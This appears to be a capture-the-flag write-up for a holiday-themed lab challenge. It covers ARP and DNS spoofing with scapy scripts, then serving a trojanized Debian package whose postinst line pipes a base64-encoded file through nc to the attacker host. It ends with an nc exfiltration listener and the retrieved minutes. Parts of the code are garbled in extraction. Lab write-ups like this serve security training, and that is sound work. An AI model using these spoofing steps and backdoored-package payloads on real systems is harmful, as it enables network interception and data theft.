9) ARP Shenanigans

Difficulty: 4/5

Difficulty

Go to the NetWars room on the roof and help Alabaster Snowball get access back to a host using ARP. Retrieve the document at /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt. Who recused herself from the vote described on the document?

ANSWER: Tanta Kringle

Access

The challenge

Jack Frost has hijacked the host at 10.6.6.35 with some custom malware. Help the North Pole by getting command line access back to this host.

Read the HELP.md file for information to help you in this endeavor.

Note: The terminal lifetime expires after 30 or more minutes so be sure to copy off any essential work you have done as you go.

The machine info

IP address: 10.6.0.2 MAC address: 02:42:0a:06:00:02

ARP poisoning

To start we run topdump to check what ip is sedning the ARP requests.

```
\verb"guest@29847c69ad6a:~\$ tcpdump -n
```

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes 03:53:50.538344 ARP, Request who-has 10.6.6.53 tell 10.6.6.35, length 28 03:53:51.578334 ARP, Request who-has 10.6.6.53 tell 10.6.6.35, length 28

We take the source IP and MAC addresses and modify the ARP poisoning script including the IP that the target is looking for and we use the scapy script to reply to the request providing the destination IP and the MAC address of the local machine. and we use one of the tmux pane to run the script in the backed.

```
scripts/arp_resp.py
```

Sent 1 packets.

ARP script ### Modified values for ARP poisoning

```
def handle_arp_packets(packet):
    # if arp request, then we need to fill this out to send back our mac as the response
    if ARP in packet and packet[ARP].op == 1:
        ether_resp = Ether(dst="4c:24:57:ab:ed:84", type=0x806, src="02:42:0a:06:00:02")
        arp_response = ARP(pdst="10.6.6.35")
        arp_response.op = 2
        arp_response.plen = 4
        arp_response.hwlen = 6
        arp_response.ptype = 0x800
        arp_response.hwtype = 0x1
        arp_response.hwsrc = "02:42:0a:06:00:02"
        arp_response.psrc = "10.6.6.53"
        arp_response.hwdst = "4c:24:57:ab:ed:84"
        arp response.pdst = "10.6.6.35"
        response = ether resp/arp response
        sendp(response, iface="eth0")
```

DNS poisoning

Now we verify that the ARP poisoning is taking place and the type of traffic the target machine is sending with tcpdump.

```
guest@29847c69ad6a:~$ tcpdump -n
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
04:16:15.602338 ARP, Request who-has 10.6.6.53 tell 10.6.6.35, length 28
04:16:15.618236 ARP, Reply 10.6.6.53 is-at 02:42:0a:06:00:02, length 28
04:16:15.646731 IP 10.6.6.35.22953 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)
```

Now we modify the DNS poisoning script with the information we already know so it respond to all DNS requests giving our own machin IP and MAC addresses as destination.

```
DNS script ### Modified values for DNS poisoning ipaddr_we_arp_spoofed =
                                                # Need to change
"10.6.6.53" def handle_dns_request(packet):
mac addresses, Ip Addresses, and ports below.
                                                  # We also need
dstport=packet[IP][UDP].sport
                                  srcport=packet[IP][UDP].dport
dstmac=packet[Ether].src
                             srcmac=packet[Ether].dst
Ether(src=srcmac, dst=dstmac)
                                # need to replace mac addresses
ip = IP(dst="10.6.6.35", src=ipaddr_we_arp_spoofed)
need to replace IP addresses
                                 udp = UDP(dport=dstport, sport=srcport)
# need to replace ports
                           dns = DNS(
                                               # MISSING DNS
RESPONSE LAYER VALUES
                              id=packet[DNS].id, qr=1, opcode=0,
aa=1, tc=0, rd=1, ra=1, z=0, ad=0, rcode=0,
                                                     qdcount=1,
ancount=1, nscount=0, arcount=0,
                                          qd=DNSQR(qname=packet[DNS].qd.qname,
qtype='A', qclass=1),
                              an=DNSRR(rrname=packet[DNS].qd.qname,
```

```
dns_response = eth / ip / udp / dns
                                        sendp(dns_response,
iface="eth0") ## Verify incoming traffic Now we run the DNS poi-
soning script in another pane and verify that both the ARP and the DNS
poisoning attacks are working.
guest@29847c69ad6a:~$ tcpdump -n src host 10.6.6.35
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
04:32:19.882406 ARP, Request who-has 10.6.6.53 tell 10.6.6.35, length 28
04:32:20.481564 IP 10.6.6.35.64352 > 10.6.0.2.42932: Flags [S.], seq 4256394238, ack 3204264
04:32:20.482458 IP 10.6.6.35.64352 > 10.6.0.2.42932: Flags [.], ack 518, win 506, options [
04:32:20.483909 IP 10.6.6.35.64352 > 10.6.0.2.42932: Flags [P.], seq 1:1514, ack 518, win 50
04:32:20.484946 IP 10.6.6.35.64352 > 10.6.0.2.42932: Flags [P.], seq 1514:1769, ack 598, win
04:32:20.485190 IP 10.6.6.35.64352 > 10.6.0.2.42932: Flags [P.], seq 1769:2024, ack 810, win
04:32:20.488384 IP 10.6.6.35.45802 > 10.6.0.2.80: Flags [S], seq 1443649395, win 64240, opt:
04:32:20.489449 IP 10.6.6.35.64352 > 10.6.0.2.42932: Flags [FP.], seq 2024:2244, ack 810, w
04:32:20.490952 IP 10.6.6.35.64352 > 10.6.0.2.42932: Flags [.], ack 811, win 505, options [1]
04:32:20.522762 IP 10.6.6.35.49790 > 10.6.6.53.53: 0+ A? ftp.osuosl.org. (32)
04:32:20.934339 ARP, Request who-has 10.6.6.53 tell 10.6.6.35, length 28
The machine is now receiving request from the poisoned machine on port 80, to
```

ttl=600, rdata="10.6.0.2")

verify the type of requests the machine receives we use python3 http.server module.

```
uest@29847c69ad6a:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.6.6.35 - - [21/Dec/2020 04:34:47] code 404, message File not found
10.6.6.35 - - [21/Dec/2020 04:34:47] "GET /pub/jfrost/backdoor/suriv_amd64.deb HTTP/1.1" 404
```

The server receives requests for a debian package /pub/jfrost/backdoor/suriv_amd64.deb, so we can use that to deliver a malicious package and retrieve the flag.

Building malicious deb pakcage

type='A', rclass=1,

We reuse one fo teh packages already present on the machine to build our malicious payload.

```
cd debs
dpkg -x nano_4.8-1ubuntu1_amd64.deb work
mkdir work/DEBIAN
ar -x nano_4.8-1ubuntu1_amd64.deb
xz -d -v control.tar.xz
tar -xvf control.tar ./control
tar -xvf control.tar ./postinst
mv control work/DEBIAN/
mv postinst work/DEBIAN/
```

We modify the post installation script to exfiltrate the contents of the file we want and we set our machine to listen on the port we specify on the script.

```
work/DEBIAN/postinst contents
---START---
#!/bin/sh
if [ "$1" = "configure" ] || [ "$1" = "abort-upgrade" ]; then
            update-alternatives --install /usr/bin/editor editor /bin/nano 40 \
                          --slave /usr/share/man/man1/editor.1.gz editor.1.gz \
                                /usr/share/man/man1/nano.1.gz
                update-alternatives --install /usr/bin/pico pico /bin/nano 10 \
                              --slave /usr/share/man/man1/pico.1.gz pico.1.gz \
                                     /usr/share/man/man1/nano.1.gz
fi
echo "`cat /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt |base64`" |nc 10.6.0.2 8000
We finish building the package and create the correct directory structure to
match the incoming requests
dpkg-deb --build work/
mkdir -p pub/jfrost/backdoor
mv work.deb pub/jfrost/backdoor/suriv_amd64.deb
```

Setup the exfiltration listener

We set nc to listen in port 8000 as we configured our payload and perform the decoding in another tmux pane.

```
nc -lvp 8000 |base64 -d |tee -a NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt
```

Serving the malicious payload

We set $python\ http.server\ module\ to\ listen\ on\ port\ 80$ and serve the file. $python3\ -m\ http.server\ 80$

Exfiltrated file

```
January 20, 2020
```

Meeting Location: All gathered in North Pole Municipal Building, 1 Santa Claus Ln, North Pol

Chairman Frost calls meeting to order at 7:30 PM North Pole Standard Time.

Roll call of Board members please: Chairman Jack Frost - Present Vice Chairman Mother Nature - Present

Superman - Present
Clarice - Present
Yukon Cornelius - HERE!
Ginger Breaddie - Present
King Moonracer - Present
Mrs. Donner - Present
Tanta Kringle - Present
Charlie In-the-Box - Here
Krampus - Growl
Dolly - Present
Snow Miser - Heya!
Alabaster Snowball - Hello
Queen of the Winter Spirits - Present

ALSO PRESENT:

Kris Kringle Pepper Minstix Heat Miser Father Time

Chairman Frost made the required announcement concerning the Open Public Meetings Act: Adequate Chairman Frost made the required announcement concerning the Open Public Meetings Act: Adequate Chairman Frost made the required announcement concerning the Open Public Meetings Act: Adequate Chairman Frost made the required announcement concerning the Open Public Meetings Act: Adequate Chairman Frost made the required announcement concerning the Open Public Meetings Act: Adequate Chairman Frost made the required announcement concerning the Open Public Meetings Act: Adequate Chairman Frost made the required announcement concerning the Open Public Meetings Act: Adequate Chairman Frost made the Open Public Meetings Act: Adequate Chairman Frost made the Open Public Meetings Act: Adequate Chairman Frost made the Open Public Meetings Act: Adequate Chairman Frost Meet

Review minutes for December 2020 meeting. Motion to accept - Mrs. Donner. Second - Superman

OLD BUSINESS: No Old Business.

RESOLUTIONS:

The board took up final discussions of the plans presented last year for the expansion of Sa

Approved:

Mother Nature
Superman
Clarice
Yukon Cornelius
Ginger Breaddie
King Moonracer
Mrs. Donner
Charlie In the Box
Krampus
Dolly

Snow Miser Alabaster Snowball Queen of the Winter Spirits

Opposed:

Jack Frost

Resolution carries. Construction approved.

NEW BUSINESS:

ANSWER: Tanta Kringle